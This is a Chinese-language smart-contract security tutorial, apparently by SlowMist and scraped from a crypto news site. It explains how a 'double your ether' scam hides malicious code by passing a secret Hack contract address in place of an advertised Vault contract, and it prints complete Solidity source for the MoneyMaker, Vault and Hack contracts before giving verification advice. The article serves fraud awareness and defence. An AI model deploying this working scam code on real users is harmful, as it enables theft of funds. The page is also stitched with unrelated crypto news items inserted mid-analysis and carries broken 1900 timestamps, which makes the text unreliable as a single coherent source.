概述
上期我們了解了利用 tx.origin 進行釣魚的攻擊手法,本期我們來帶大家了解一下如何識別在合約中隱藏的惡意代碼。
前置知識
大家還記得之前幾期部署攻擊合約時我們會傳入目標合約的地址,在攻擊合約中就可以調用目標合約中的函數嗎,有些攻擊者會利用這一點欺騙受害者。比如部署一個 A 合約并告訴受害者我們會在部署 A 合約的構造函數中傳入 B 合約的地址并將 B 合約開源,其實我們會在部署 A 合約時傳入 C 合約的地址,如果受害者完全信任我們沒有檢查部署 A 合約的那筆交易,我們就完美的將惡意代碼隱藏在了 C 合約中。我們可以從下圖來理解這個邏輯:
用戶以為的調用路徑:
部署合約 A 傳入合約 B 地址,這樣調用路徑為正常路徑。
實際的調用路徑:
部署合約 A 傳入合約 C 地址,這樣調用路徑為非正常路徑。
下面我們使用一個簡單的例子來分析這個騙局:
惡意代碼
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker { Vault vault; constructor(address _vault) { vault = Vault(payable(_vault)); } function makeMoney(address recipient) public payable { require(msg.value >= 1, "You are so poor!"); uint256 amount = msg.value * 2; (bool success, ) = address(vault).call{value: msg.value, gas: 2300}(""); require(success, "Send failed"); vault.transfer(recipient, amount); }}contract Vault { address private maker; address private owner; uint256 transferGasLimit; constructor() payable { owner = msg.sender; transferGasLimit = 2300; } modifier OnlyMaker() { require(msg.sender == maker, "Not MoneyMaker contract!"); _; } modifier OnlyOwner() { require(msg.sender == owner, "Not owner!"); _; } function setMacker(address _maker) public OnlyOwner { maker = _maker; } function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this).balance, "Game Over~"); (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}( "" ); require(success, "Send failed"); } function withrow() public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(""); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}// This code is hidden in a separate filecontract Hack { event taunt(string message); address private evil; constructor(address _evil) { evil = _evil; } modifier OnlyEvil() { require(msg.sender == evil, "What are you doing?"); _; } function transfer() public payable { emit taunt("Haha, your ether is mine!"); } function withrow() public OnlyEvil { (bool success, ) = evil.call{value: address(this).balance, gas: 2300}( "" ); require(success, "Send failed"); } receive() external payable {} fallback() external payable {}}騙局分析
YieldShield通過執行定制智能合約優化DeFi挖礦收益:DeFi協議Yield Protocol發推稱,收益耕作(Yield Farming)需要在一個區塊鏈上進行多次交易,從而會產生數百美元的費用。其合作伙伴YieldShield建立一個允許Yield Farming的產品,將資金集中在一起,通過執行智能合約,從而實現安全分配。
據悉,YieldShield是第一個建立在Yield Protocol上的產品。YieldShield不是通過共享池,而是根據個人風險和收益偏好定制的智能合約為農民(Farmer)服務,實現收益最大化,同時防范風險。[2021/2/28 18:01:05]
可以看到,上述代碼中存在三個合約,我們先結合前置知識中的 A, B, C 三個角色來區分三個合約分別代表什么角色:
MoneyMaker 合約代表 A 合約;
Vault 合約代表 B 合約;
Hack 合約代表 C 合約。
所以用戶以為的調用路徑為:
MoneyMaker -> Vault。
而實際的調用路徑為:
MoneyMaker -> Hack。
下面我們來看看攻擊者如何完成騙局的:
1. Evil 部署 Vault(B) 合約并在合約中留存 100 ETH 資金,在鏈上將 Vault(B) 合約開源;
動態 | Placeholder合伙人Burniske建議將術語智能合約改為數字合約:加密貨幣風投機構 Placeholder 合伙人 Chris Burniske 建議將區塊鏈和加密貨幣領域中常用的概念“智能合約”改為更貼近真實情況的“數字合約”。他表示,并不是所有合約都是智能的,但都是數字化的,因為任何人都可以接受這個概念:我們正在進入一個數字化的時代。在他發表的建議之下,不少用戶認為這個建議是合理的,但也有用戶表示不認同,因為像智能手機或智能汽車的概念可以讓智能合約更像是 2019 年的術語,而數字化這個前綴聽起來有點像是90年代的術語。[2019/12/30]
2. Evil 部署 Hack(C) 惡意合約;
3. Evil 放出消息說他將會部署一個開源的賺錢 MoneyMaker(A) 合約,部署時會將 Vault(B) 合約地址傳入且會調用 Vault.setMacker() 將 maker 角色設置為 MoneyMaker 合約地址,任何人調用 MoneyMaker.makeMoney() 向合約中打入不少于一個以太都會得到雙倍以太的回報;
4. Bob 收到消息,了解到 MoneyMaker 合約的存在,他看了 MoneyMaker(A) 和 Vault(B) 合約的代碼并檢查了 Vault(B) 合約中的余額發現邏輯確實如 Evil 說的那樣,他在沒有檢查 MoneyMaker(A) 部署交易的情況下就相信了 Evil;
5. Bob 調用 MoneyMaker.makeMoney() 向合約中打入自己全部身家 20 ETH,在他滿懷期待等著收到 Vault(B) 打來的 40 ETH 時等來的卻是一句 "Haha, your ether is mine!"。
動態 | 以太坊智能合約日均值同比減少28.25%:據第三方大數據評級機構RatingToken監測數據顯示,以太坊7日新增合約日均值1780個,較上期2481日均值同比減少28.25%?。此外,21日新增合約數1952,其中金字塔合約BestMultiplier流入ETH最多,流入超過1008 ETH;RatingToken溫馨提示,投資者參與金字塔合約應充分考慮其高風險。如需查看詳情,請點擊原文鏈接。[2018/11/22]
咋回事呢?其實這個騙局非常簡單但是很常見。Evil 在部署 MoneyMaker 合約時傳入的并不是 Vault 合約的地址,而是傳入了 Hack 合約的地址。所以當 Bob 調用 MoneyMaker.makeMoney() 時并不會像他想像中的那樣 MoneyMaker.makeMoney() 去調用 Vault.transfer() 回打給他雙倍的以太,而是調用了 Hack.transfer() 拋出了一個事件:"Haha, your ether is mine!"。最后 Evil 調用 Vault.withrow() 將 Vault 合約中的 100 ETH 轉出,并通過 Hack.withrow() 將 Bob 轉入的 20 ETH 轉出。
預防建議
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的話術,交易記錄不會造假,只有自己驗證了對應的那筆交易后才能相信對方說的話是對的。
慢霧科技
動態 | Change Healthcare與TIBCO合作計劃在醫療行業引入智能合約:據unhashed消息,美國醫療保健公司Change Healthcare正與軟件公司TIBCO合作,計劃通過區塊鏈技術在醫療行業引入智能合約,實現醫療和相關交易的自動化。[2018/11/6]
個人專欄
閱讀更多
金色薦讀
金色財經 善歐巴
迪新財訊
Chainlink預言機
區塊律動BlockBeats
白話區塊鏈
金色早8點
Odaily星球日報
MarsBit
Arcane Labs
動態 | Augur智能合約部署及REP遷移:Augur的智能合約將部署到以太坊主網,并且REP遷移將于7月9日18:01(UTC)開始。REP如果存在于中心化交易所,用戶無需進行任何操作,Token在遷移時將被凍結。[2018/7/5]
原文作者:VIKTOR GCR 是一個匿名交易員,他在 2021 年牛市爆紅,因為其對交易走勢似乎了如指掌.
1900/1/1 0:00:00XEN起因 谷歌前21號員工提出了一種新的挖礦機制:參與證明(Proof of Participation),只需要提供ETH主網的gas費即可參與,可選擇挖礦時間,時間越長能夠提取的代幣越多.
1900/1/1 0:00:00流支付(Streaming Money)最早于 2016 年出現概念雛形:鏈上資金不再是以每隔一定時間區間被批量地轉賬(比如每月發放的工資、每年支付的會員費).
1900/1/1 0:00:00多位 KOL 紛紛發文預警 NFT 借貸協議 ParaSpace 團隊內部出現矛盾,并建議用戶盡快撤資.
1900/1/1 0:00:003 月 23 日,Do Kwon 在黑山被批捕。去年 5 月,Do Kwon 一直被爆料曾試圖在 Luna 崩盤前逃離韓國,但其本人一直否認.
1900/1/1 0:00:00作者:Jack Inabinet,Bankless;翻譯:金色財經0xxzLedger熬過了艱難的24小時.
1900/1/1 0:00:00